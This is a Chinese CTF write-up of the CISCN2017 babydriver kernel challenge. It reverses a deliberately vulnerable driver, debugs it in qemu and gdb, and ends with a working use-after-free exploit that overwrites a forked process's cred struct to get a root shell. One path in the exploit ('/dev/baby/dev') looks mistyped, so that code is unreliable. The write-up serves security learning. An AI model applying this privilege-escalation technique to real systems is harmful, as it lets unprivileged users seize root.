

CISCN2017-babydriver

题目链接: <https://github.com/LxxxtSec/Kernel-challenge/blob/main/challenge/Kernel%20UAF/CISCN2017-babydriver/babydriver.tar>

Start

```
/mnt/hgfs/winshare/Kernal Pwn/ciscn2017-babydriver > ls 20:02:17
babydriver.tar
/mnt/hgfs/winshare/Kernal Pwn/ciscn2017-babydriver > x babydriver.tar 20:02:17
extract: extracting to babydriver
boot.sh
bzImage
rootfs.cpio
/mnt/hgfs/winshare/Kernal Pwn/ciscn2017-babydriver > ls 20:02:22
babydriver babydriver.tar
/mnt/hgfs/winshare/Kernal Pwn/ciscn2017-babydriver > cd babydriver 20:02:24
/mnt/hgfs/winshare/Kernal Pwn/ciscn2017-babydriver/babydriver > ls 20:02:32
boot.sh bzImage rootfs.cpio
```

boot.sh :

```
1 #!/bin/bash
2
3 qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0
  root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --
  nographic -smp cores=1,threads=1 -cpu kvm64,+smep
```

加一个-s参数方便调试

```

[ 2.542399] scsi 1:0:0:0: CD-ROM          QEMU      QEMU DVD-ROM      2.5+ P5
[ 2.560996] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray
[ 2.565503] cdrom: Uniform CD-ROM driver Revision: 3.20
[ 2.570665] sr 1:0:0:0: Attached scsi generic sg0 type 5
[ 2.575662] Freeing unused kernel memory: 1464K (ffffffffff81f41000 - ffffffff)
[ 2.581115] Write protecting the kernel read-only data: 14336k
[ 2.594785] Freeing unused kernel memory: 1916K (ffff880001821000 - ffff8800)
[ 2.599864] Freeing unused kernel memory: 120K (ffff880001de2000 - ffff88000)
chown: flag: No such file or directory
chmod: flag: No such file or directory
[ 2.614375] babydriver: module verification failed: signature and/or requirel

Boot took 1.25 seconds

/ $ ls
bin      etc      init     linuxrc  root     sys      usr
dev      home    lib      proc     sbin     tmp

```

分析rootfs.cpio

提取文件系统

```

1 mkdir core
2 cp rootfs.cpio core
3 un-cpio core/rootfs.cpio

```

```

~/桌面/kernal/ciscn2017-babydriver/babydriver > mkdir core          5s 17:02:26
~/桌面/kernal/ciscn2017-babydriver/babydriver > cp rootfs.cpio core    17:02:30
~/桌面/kernal/ciscn2017-babydriver/babydriver > un-cpio core/rootfs.cpio
5556 块

```

init分析

```

1 #!/bin/sh
2
3 mount -t proc none /proc
4 mount -t sysfs none /sys
5 mount -t devtmpfs devtmpfs /dev
6 chown root:root flag
7 chmod 400 flag
8 exec 0</dev/console
9 exec 1>/dev/console

```

```
10 exec 2>/dev/console
11
12 insmod /lib/modules/4.4.72/babydriver.ko
13 chmod 777 /dev/babydev
14 echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
15 setsid cttyhack setuidgid 1000 sh
16
17 umount /proc
18 umount /sys
19 poweroff -d 0 -f
```

先是进行了一些初始化，然后添加驱动，一般的漏洞就在这里，然后找到驱动去分析

```
~/桌面/kernal/ciscn2017-babydriver/babydriver/core/lib/modules/4.4.72 > ls
babydriver.ko
```

驱动分析

```
babyrelease
babyopen
babyioctl
babywrite
babyread
babydriver_init
babydriver_exit
```

可以看到有五个函数、初始化函数和退出函数。

Open

```
int __fastcall babyopen(inode *inode, file *filp)
{
    _fentry__(inode, filp);
    babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
    babydev_struct.device_buf_len = 64LL;
    printk("device open\n");
    return 0;
}
```

从kmalloc_caches[6]中申请一块内存给babydev_struct.device_buf，长度64。

Write

```

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
    size_t v4; // rdx
    ssize_t result; // rax
    ssize_t v6; // rbx

    _fentry__(filp, buffer);
    if ( !babydev_struct.device_buf )
        return -1LL;
    result = -2LL;
    if ( babydev_struct.device_buf_len > v4 )
    {
        v6 = v4;
        copy_from_user();
        return v6;
    }
    return result;
}

```

这里没有识别出来，可以利用动态调试来看下

首先编写脚本：

```

1  #include<stdio.h>
2
3  int main(){
4
5      int fd = open("/dev/babydev", 2);
6      char userbuf[8] = "a";
7      write(fd, userbuf, 2);
8      close(fd);
9
10 }

```

```

1  gcc test.c -static

```

然后把init里面的登录权限改为root，因为要去查看模块具体的加载地址

```

$ init
1  #!/bin/sh
2
3  mount -t proc none /proc
4  mount -t sysfs none /sys
5  mount -t devtmpfs devtmpfs /dev
6  chown root:root flag
7  chmod 400 flag
8  exec 0</dev/console
9  exec 1>/dev/console
10 exec 2>/dev/console
11
12 insmod /lib/modules/4.4.72/babydriver.ko
13 chmod 777 /dev/babydev
14 echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
15 setsid cttyhack setuidgid 0 sh
16
17 umount /proc
18 umount /sys
19 poweroff -d 0 -f
20
21

```

重新生成cpio

```
1 gen-cpio rootfs.cpio
```

```

~/桌面/kernal/ciscn2017-babydriver/babydriver/core > gen-cpio rootfs.cpio
cpio: 文件 ./rootfs.cpio 增长, 262144 新字节未被拷贝
7603 块
~/桌面/kernal/ciscn2017-babydriver/babydriver/core > ls
a.out  etc  init  linuxrc  rootfs.cpio  sys  tmp
bin    home  lib   proc     sbin         test.c  usr

```

启动qemu查看加载位置

```

/sys/module/babydriver/sections $ pwd
/sys/module/babydriver/sections
/sys/module/babydriver/sections $ cat .text
0xffffffffc0000000

```

然后gdb动态调试

添加驱动的符号信息

```
1 add-symbol-file ./core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
```

```

pwndbg> add-symbol-file ./core/lib/modules/4.4.72/babydriver.ko 0xffffffffc000000
0
add symbol table from file "./core/lib/modules/4.4.72/babydriver.ko" at
      .text_addr = 0xffffffffc0000000
Reading symbols from ./core/lib/modules/4.4.72/babydriver.ko...

```

断点断在babywrite

```

pwndbg> b babywrite
Breakpoint 1 at 0xffffffffc00000f0: file /home/atum/PWN/my/babydr
e/babydriver.c, line 48.
pwndbg> target re
record-btrace record-core record-full remote
pwndbg> target remote :1234
Remote debugging using :1234

```

```

[ 2.647857] Freeing unused kernel memory: 1916K (ffff880001821000 - ffff88000)
[ 2.653801] Freeing unused kernel memory: 120K (ffff880001de2000 - ffff88000)
chown: flag: No such file or directory
chmod: flag: No such file or directory
[ 2.668812] babydriver: module verification failed: signature and/or required
Boot took 1.21 seconds

/ # ls
a.out      etc        lib        root       sys        usr
bin        home      linuxrc    rootfs.cpio test.c
dev        init      proc       sbin       tmp
/ #

```

[BACKTRACE]

```

0 0xfffffffff81063636
1 0xfffffffff81e03eb8
2 0xfffffffff81021dae
3 0xfffffffff81f35240
4 0xfffffffff81e04000
5 0xfffffffff81e03ec8
6 0xfffffffff810225bf
7 0xfffffffff81e03ed8

```

```

pwndbg> c
Continuing.

```

继续运行卡住后在qemu里面执行a.out。

然后继续运行到 `copy_from_user` 处，查看寄存器

```

RAX 0xffffffffffffffff
*RBX 2
RCX 0xffff8800027ebf18 ← 0
RDX 2
RDI 0xffff880002798e80 → 0xffff880002798e40 → 0xffff880002798900 → 0xffff880
002798ec0 → 0xffff880002798f00 ← ...
RSI 0x7ffe4b586be0 ← 0x61 /* 'a' */
R8 0xffff880002c86800 → 0xffff880002c020e0 ← 'unconfined'
R9 0xffff880000a17c88 ← 0x521ff
R10 0
R11 0x202
R12 0xffff8800027ebf18 ← 0
R13 0xffff8800027ebf18 ← 0
R14 2
R15 1
RBP 0xffff8800027ebe38 → 0xffff8800027ebec0 → 0xffff8800027ebf00 → 0xffff880
0027ebf48 → 0x7ffe4b586bf0 ← ...
RSP 0xffff8800027ebe30 → 0xffff880000a6d000 ← 0
*RIP 0xffffffffc0000119 (babywrite+41) ← 0xd88948c13e6402e8

```

我们执行的代码为write(fd, userbuf, 2);

实际上就是从用户态读取数据

ioctl

```
1 __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
2 {
3     size_t v3; // rdx
4     size_t v4; // rbx
5
6     _fentry__(filp, command);
7     v4 = v3;
8     if ( command == 0x10001 )
9     {
10         kfree(babydev_struct.device_buf);
11         babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
12         babydev_struct.device_buf_len = v4;
13         printk("alloc done\n");
14         return 0LL;
15     }
16     else
17     {
18         printk(&unk_2EB);
19         return -22LL;
20     }
21 }
```

这里如果我们指令为 0x10001，就会重新malloc一块内存给buf并且修改了他的len为一个新值。

release

```
1 int __fastcall babyrelease(inode *inode, file *filp)
2 {
3     _fentry__(inode, filp);
4     kfree(babydev_struct.device_buf);
5     printk("device release\n");
6     return 0;
7 }
```

UAF漏洞

利用思路

分析过后已知：

- release函数存在UAF漏洞
- ioctl函数可以修改buf大小

那么整个利用流程就应该为：

1. open两个设备；
2. 然后利用ioctl函数将 device_buf_len 改为 cred 结构体大小
3. free掉第一个设备
4. 此时第二个设备存在一个悬挂的指针（即可以利用该设备继续操作free掉的内存）

5. fork一个新的线程，此时该线程会将之前free掉的内存直接申请为cred结构体
6. 然后对设备二进行从用户态读取数据到buf，即修改cred结构体
7. 修改cred结构体的euid为0
8. geishell!

那么既然要修改cred结构体就要知道该结构体的大小，从而在修改时将内存改为cred结构体大小，在网上找到该版本内核cred结构体源码：

```
1 struct cred {
2     atomic_t      usage;
3 #ifdef CONFIG_DEBUG_CREDENTIALS
4     atomic_t      subscribers;          /* number of processes subscribed
   */
5     void          *put_addr;
6     unsigned      magic;
7 #define CRED_MAGIC      0x43736564
8 #define CRED_MAGIC_DEAD 0x44656144
9 #endif
10    kuid_t         uid;                  /* real UID of the task */
11    kgid_t         gid;                  /* real GID of the task */
12    kuid_t         suid;                 /* saved UID of the task */
13    kgid_t         sgid;                 /* saved GID of the task */
14    kuid_t         euid;                 /* effective UID of the
   task */
15    kgid_t         egid;                 /* effective GID of the
   task */
16    kuid_t         fsuid;                /* UID for VFS ops */
17    kgid_t         fsgid;                /* GID for VFS ops */
18    unsigned       securebits;           /* SUID-less security management */
19    kernel_cap_t    cap_inheritable;     /* caps our children can inherit
   */
20    kernel_cap_t    cap_permitted;       /* caps we're permitted */
21    kernel_cap_t    cap_effective;       /* caps we can actually use
   */
22    kernel_cap_t    cap_bset;            /* capability bounding set */
23    kernel_cap_t    cap_ambient;         /* Ambient capability set */
24 #ifdef CONFIG_KEYS
25    unsigned char   jit_keyring;         /* default keyring to attach
   requested
   */
26    * keys to */
27    struct key __rcu *session_keyring; /* keyring inherited over fork */
28    struct key      *process_keyring; /* keyring private to this process
   */
29    struct key      *thread_keyring; /* keyring private to this thread */

```



```

30     struct key      *request_key_auth; /* assumed request_key authority
    */
31 #endif
32 #ifdef CONFIG_SECURITY
33     void              *security;        /* subjective LSM security */
34 #endif
35     struct user_struct *user;           /* real user ID subscription */
36     struct user_namespace *user_ns; /* user_ns the caps and keyrings are
    relative to. */
37     struct group_info *group_info;      /* supplementary groups for
    euid/fsgid */
38     struct rcu_head    rcu;             /* RCU deletion hook */
39 };

```

这里我们利用C代码打印一下大小，注意写的时候要去掉带debug的#ifdef，即这一部分：

```

1 struct cred {
2     atomic_t      usage;
3 #ifdef CONFIG_DEBUG_CREDENTIALS
4     atomic_t      subscribers; /* number of processes subscribed */
5     void          *put_addr;
6     unsigned      magic;
7 #define CRED_MAGIC 0x43736564
8 #define CRED_MAGIC_DEAD 0x44656144
9 #endif
10    kuid_t         uid;          /* real UID of the task */
11    kgid_t         gid;          /* real GID of the task */
12    kuid_t         suid;         /* saved UID of the task */
13    kgid_t         sgid;         /* saved GID of the task */
14    kuid_t         euid;         /* effective UID of the task */
15    kgid_t         egid;         /* effective GID of the task */
16    kuid_t         fsuid;        /* UID for VFS ops */
17    kgid_t         fsgid;        /* GID for VFS ops */
18    unsigned        securebits;  /* SUID-less security management */
19    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
20    kernel_cap_t    cap_permitted; /* caps we're permitted */
21    kernel_cap_t    cap_effective; /* caps we can actually use */
22    kernel_cap_t    cap_bset;    /* capability bounding set */

```

代码：

```

1 typedef struct {
2     int counter;
3 } atomic_t;
4 typedef struct {
5     unsigned int val;
6 } kuid_t;
7 typedef struct {
8     unsigned int val;
9 } kgid_t;
10 typedef struct kernel_cap_struct {
11     unsigned int cap[2];

```

```

12 } kernel_cap_t;
13 struct rcu_head {
14     struct rcu_head *next;
15     void (*func)(struct rcu *head);
16 } __attribute__((aligned(sizeof(void *)))));
17 struct cred{
18     atomic_t      usage;
19     kuid_t        uid;           /* real UID of the task */
20     kgid_t        gid;           /* real GID of the task */
21     kuid_t        suid;          /* saved UID of the task */
22     kgid_t        sgid;          /* saved GID of the task */
23     kuid_t        euid;          /* effective UID of the
task */
24     kgid_t        egid;          /* effective GID of the
task */
25     kuid_t        fsuid;          /* UID for VFS ops */
26     kgid_t        fsgid;          /* GID for VFS ops */
27     unsigned      securebits;     /* SUID-less security management */
28     kernel_cap_t   cap_inheritable; /* caps our children can inherit
*/
29     kernel_cap_t   cap_permitted; /* caps we're permitted */
30     kernel_cap_t   cap_effective; /* caps we can actually use
*/
31     kernel_cap_t   cap_bset;      /* capability bounding set */
32     kernel_cap_t   cap_ambient;   /* Ambient capability set */
33     unsigned char   jit_keyring;   /* default keyring to attach
requested*/
34     struct key      *session_keyring; /* keyring inherited over fork */
35     struct key      *process_keyring; /* keyring private to this process
*/
36     struct key      *thread_keyring; /* keyring private to this thread */
37     struct key      *request_key_auth; /* assumed request_key authority
*/
38     void            *security;     /* subjective LSM security */
39     struct user_struct *user;       /* real user ID subscription */
40     struct user_namespace *user_ns; /* user_ns the caps and keyrings are
relative to. */
41     struct group_info *group_info; /* supplementary groups for
euid/fsgid */
42     struct rcu_head   rcu;          /* RCU deletion hook */
43 };
44
45 int main(){
46     printf("%d", sizeof(struct cred));
47 }
48

```

```
~/桌面/kernal/ciscn2017-babydriver/babydriver/core > gcc print_cred.c -o credp
print_cred.c:15:29: warning: 'struct rcu' declared inside parameter list will not
be visible outside of this definition or declaration
    15 |         void (*func)(struct rcu *head);
        |                        ^~~
print_cred.c: In function 'main':
print_cred.c:46:5: warning: implicit declaration of function 'printf' [-Wimplicit
-function-declaration]
    46 |     printf("%d", sizeof(struct cred));
        |     ^~~~~~
print_cred.c:1:1: note: include '<stdio.h>' or provide a declaration of 'printf'
+++ |+#include <stdio.h>
    1 | typedef struct {
print_cred.c:46:5: warning: incompatible implicit declaration of built-in functio
n 'printf' [-Wbuiltin-declaration-mismatch]
    46 |     printf("%d", sizeof(struct cred));
        |     ^~~~~~
print_cred.c:46:5: note: include '<stdio.h>' or provide a declaration of 'printf'
print_cred.c:46:14: warning: format '%d' expects argument of type 'int', but argu
ment 2 has type 'long unsigned int' [-Wformat=]
    46 |     printf("%d", sizeof(struct cred));
        |             ~^ ~~~~~
        |             | |
        |             int long unsigned int
        |             %ld
~/桌面/kernal/ciscn2017-babydriver/babydriver/core > ls
a.out credp home lib print_cred.c sbin test.c usr
bin etc init linuxrc proc sys tmp
~/桌面/kernal/ciscn2017-babydriver/babydriver/core > ./credp
168%
```

知道大小是168

然后就是写脚本了

exp:

```
1 #include<stdio.h>
2 #include<fcntl.h>
3 #include<sys/wait.h>
4
5 int main(){
6     int fd1 = open("/dev/babydev", 2);
7     int fd2 = open("/dev/baby/dev", 2);
8
```

```

9      ioctl(fd1, 65537, 168);
10
11     close(fd1);
12
13     int pid = fork();
14
15     if(pid < 0){
16         puts("error!");
17         exit(0);
18     }
19     else if (pid == 0)
20     {
21         int a[6] = {0};
22         write(fd2, a, 24);
23         puts("get shell!");
24         system("/bin/sh");
25     }
26     else{
27         wait(NULL);
28     }
29
30     return 0;
31
32 }

```

编译后重新打包（先修改init为用户，调试的时候改为root了，需要改回去）

```
1 gen-cpio rootfs.cpio
```

```

/ $ whoami
ctf
/ $ ./exp
[ 9.756593] device open
[ 9.758268] device open
[ 9.760019] alloc done
[ 9.761321] device release
get shell!
/ # whoami
root

```

